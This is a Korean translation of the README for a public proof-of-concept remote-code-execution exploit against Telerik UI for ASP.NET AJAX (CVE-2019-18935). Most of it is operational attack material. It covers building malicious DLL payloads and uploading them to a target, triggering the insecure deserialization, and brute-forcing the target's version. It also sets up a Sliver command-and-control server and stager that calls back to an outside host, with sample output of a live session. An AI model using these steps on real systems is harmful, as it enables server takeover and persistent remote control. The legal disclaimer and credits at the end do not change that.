
Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 RCE 익스플로잇.
Telerik UI for ASP.NET AJAX의 .NET JSON 역직렬화 취약점에 대한 개념 증명 익스플로잇으로, 원격 코드 실행을 가능하게 합니다.
Telerik UI for ASP.NET AJAX는 웹 애플리케이션을 위한 널리 사용되는 UI 구성 요소 모음입니다. 이는 JSON 객체를 안전하지 않은 방식으로 역직렬화하여 소프트웨어의 기본 호스트에서 임의의 원격 코드 실행을 초래합니다. 자세한 내용은 다음을 참조하세요:
혼합 모드 .NET 어셈블리 DLL 페이로드를 build-dll.bat를 사용하여 컴파일하려면 Visual Studio와 .NET Framework SDK가 필요합니다.
git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
python3 -m venv env
source env/bin/activate
python3 -m pip install -U pip
python3 -m pip install -r requirements.txt
이 익스플로잇은 RAU_crypto의 암호화 로직을 활용합니다. RAU_crypto.py 내의 RAUCipher 클래스는 PyCryptodome에 의존하는데, 이는 죽은 PyCrypto 모듈을 대체할 수 있는 드롭인 교체입니다. PyCryptodome과 PyCrypto는 같은 환경에 설치되면 문제를 일으키므로, 이 의존성을 충족시키는 가장 좋은 방법은 위에 표시된 대로 가상 환경 내에 모듈을 설치하는 것입니다.
build-dll.bat의 17번째 줄을 Visual Studio 설치 경로로 설정하세요.
set VSPATH=C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build
$ python3 CVE-2019-18935.py -h
usage: CVE-2019-18935.py [-h] [-t] [-d] [-r FILENAME_REMOTE] [-s SMB_SERVER]
[-v UI_VERSION] [-n NET_VERSION] [-p PAYLOAD]
[-f FOLDER] -u URL
Exploit for CVE-2019-18935, a .NET JSON deserialization vulnerability in
Telerik UI for ASP.NET AJAX.
optional arguments:
-h, --help show this help message and exit
-t just upload a file
-d just deserialize
-r FILENAME_REMOTE remote payload name, for optional use with -d
-s SMB_SERVER remote SMB server, for optional use with -d
-v UI_VERSION software version
-n NET_VERSION .NET version
-p PAYLOAD mixed mode assembly DLL
-f FOLDER destination folder on target
-u URL https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau
일부 페이로드(예: reverse-shell.c 및 sliver-stager.c)는 HOST 및 PORT 필드를 C2 서버를 가리키도록 설정해야 합니다. 반드시 그렇게 하세요!
Visual Studio가 설치된 Windows 환경에서 build-dll.bat를 사용하여 역직렬화 중 페이로드로 사용할 32비트 및 64비트 혼합 모드 어셈블리 DLL을 생성합니다. 두 번째 CLI 인수(예: x86)로 대상 CPU 아키텍처를 선택적으로 지정할 수 있습니다.
build-dll.bat sleep.c
위에서 생성된 DLL을 CVE-2019-18935.py에 전달하면, 대상 서버의 디렉토리(웹 서버에 해당 디렉토리에 대한 쓰기 권한이 있는 경우)에 DLL을 업로드한 후, 안전하지 않은 역직렬화 익스플로잇을 통해 해당 DLL을 애플리케이션에 로드합니다.
$ python3 CVE-2019-18935.py -v <VERSION> -p payloads/sleep-2019121205271355-x86.dll -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau
[*] Local payload name: sleep-2019121205271355-x86.dll
[*] Destination folder: C:\Windows\Temp
[*] Remote payload name: 1576142987.918625.dll
{'fileInfo': {'ContentLength': 75264,
'ContentType': 'application/octet-stream',
'DateJson': '1970-01-01T00:00:00.000Z',
'FileName': '1576142987.918625.dll',
'Index': 0},
'metaData': {'AsyncUploadTypeName': 'Telerik.Web.UI.UploadedFileInfo, '
'Telerik.Web.UI, Version=<VERSION>, '
'Culture=neutral, '
'PublicKeyToken=<TOKEN>',
'TempFileName': '1576142987.918625.dll'}}
[*] Triggering deserialization...
<title>Runtime Error</title>
<span><H1>Server Error in '/' Application.<hr width=100% size=1 color=silver></H1>
<h2> <i>Runtime Error</i> </h2></span>
...omitted for brevity...
[*] Response time: 13.01 seconds
위 예제에서 애플리케이션은 응답하는 데 최소 10초가 걸렸으며, 이는 DLL 페이로드가 Sleep(10000)을 성공적으로 호출했음을 나타냅니다.
DerpCon 강연 .NET Roulette (39:46)에서 자세히 설명된 대로, 파일을 업로드할 때 Telerik.Web.UI 어셈블리의 주 버전(즉, 전체 버전 문자열 2017.2.503.40의 2017 부분)만 지정하여 Telerik UI 버전을 무차별 대입할 수 있습니다. 이 기술은 이 소프트웨어의 각 특정 릴리스를 무차별 대입하는 것에 비해 검색 공간을 크게 줄이며, 추가 이점으로 이 소프트웨어의 릴리스 기록에 명시적으로 나열되지 않은 버전도 감지할 수 있습니다. .NET 어셈블리 버전 관리에 대한 자세한 내용은 MSDN에서 확인하세요.
$ for YEAR in $(seq 2013 2018); do
echo -n "$YEAR: "
python3 CVE-2019-18935.py -t -v "$YEAR" -p /dev/null -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau 2>/dev/null |
grep -oE "Telerik.Web.UI, Version=$YEAR\.[0-9\.]+" ||
echo
done
2013:
2014:
2015:
2016:
2017: Telerik.Web.UI, Version=2017.2.503.40
2018:
커스텀 Sliver 스테이저 페이로드 sliver-stager.c는 Metasploit의 스테이징 프로토콜을 따라 Sliver 서버(스테이징 서버)로부터 Sliver 셸코드(스테이지)를 수신하고 실행합니다. 이 작동 방식에 대한 자세한 내용은 페이로드 소스의 헤더를 읽어보세요.
Sliver 서버를 시작합니다. 서버 설정에 대한 자세한 내용은 여기를 참조하세요.
MINGW_PATH='/usr/bin' # Or wherever MinGW is located.
export SLIVER_CC_32="$MINGW_PATH/i686-w64-mingw32-gcc"
export SLIVER_CC_64="$MINGW_PATH/x86_64-w64-mingw32-gcc"
./sliver-server
Sliver 서버에서 C2 엔드포인트(여기서는 mTLS 리스너를 사용하고 있지만 HTTP 또는 DNS도 사용 가능)를 열고, 임플란트 프로필을 생성한 다음, 해당 프로필에 연결된 스테이징 리스너를 생성합니다. 스테이징된 페이로드에 대한 자세한 내용은 여기를 참조하세요. Sliver 문서에서 제안하는 대로 generate stager를 사용하여 Sliver 스테이저를 생성하는 것이 아니라, 대신 커스텀 sliver-stager.c를 사용합니다.
⚠️ 경고: 잘못된 CPU 아키텍처의 스테이지를 보내면 대상 프로세스가 _충돌_합니다! 예를 들어, 대상이 32비트 버전의 Telerik UI를 실행 중이고 스테이징 서버가 32비트 스테이저에 64비트 스테이지를 보내면 웹 서버 프로세스가 충돌합니다. 다음 예제에서는 32비트 셸코드를 생성하지만, new-profile 명령의 --arch 플래그를 사용하여 대상의 CPU 아키텍처와 일치시켜야 합니다.
sliver > mtls
[*] Starting mTLS listener ...
[*] Successfully started job #1
sliver > new-profile --mtls <C2-ENDPOINT>:<PORT> --arch x86 --format shellcode --profile-name shellcode-32 --skip-symbols
[*] Saved new profile shellcode-32
sliver > stage-listener --url tcp://<STAGING-SERVER>:<PORT> --profile shellcode-32
[*] No builds found for profile shellcode-32, generating a new one
[*] Job 2 (tcp) started
Sliver 스테이저 소스에서 호스트와 포트를 Sliver 서버를 가리키도록 설정합니다(아래 예제 서버 참조).
sed -Ei .bu 's/<HOST>/sliverserver.bishopfox.com/; s/<PORT>/443/' sliver-stager.c
Sliver 스테이저 페이로드를 컴파일하고, 페이로드를 대상에 업로드한 다음 애플리케이션에 로드합니다(모두 이 README의 이전 사용법 섹션에 따름).
> .\build-dll.bat sliver-stager.c x86
$ python3 CVE-2019-18935.py -v 2017 -u <HOST>/Telerik.Web.UI.WebResource.axd?type=rau -p payloads/sliver-stager-2020080514261722-x86.dll
모든 것이 잘 진행되면(이 대상에 대해 troubleshat을 하셨나요?), Sliver 서버 창에 세션이 생성되어 대상과 상호 작용할 수 있습니다.
[*] Session #1 AFRAID_COMPUTER - <REMOTE-ADDRESS> (DESKTOP-D19S4Q2) - windows/386 - Wed, 05 Aug 2020 15:58:27 UTC
sliver > use 1
[*] Active session AFRAID_COMPUTER (1)
sliver (AFRAID_COMPUTER) > help
Commands:
=========
clear clear the screen
exit exit the shell
help use 'help [command]' for command help
...
whoami Get session user execution context
sliver (AFRAID_COMPUTER) > whoami
DESKTOP-D19S4Q2\tester
AssemblyInstaller 클래스는 동일한 어셈블리 이름(_파일명_과 다름)을 가진 여러 .NET 어셈블리를 로드할 수 없습니다. 대상이 절전 모드로 전환되거나, 콜백 등을 수행하도록 하려면 매번 새로 컴파일하고 업로드해야 합니다.사전 상호 동의 없이 대상을 공격하기 위해 이 도구를 사용하는 것은 불법입니다. 모든 관련 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.
@mwulftange이 이 취약점을 최초로 발견했습니다. @bao7uo는 RadAsyncUpload 암호화 해제를 위한 모든 로직을 작성하여, rauPostData에서 파일 업로드 구성 객체를 조작하고 이후 해당 객체의 안전하지 않은 역직렬화를 악용할 수 있게 했습니다. @lesnuages는 Sliver 스테이저 페이로드의 첫 번째 버전을 작성했습니다.
이 프로젝트는 Apache License에 따라 라이선스가 부여됩니다.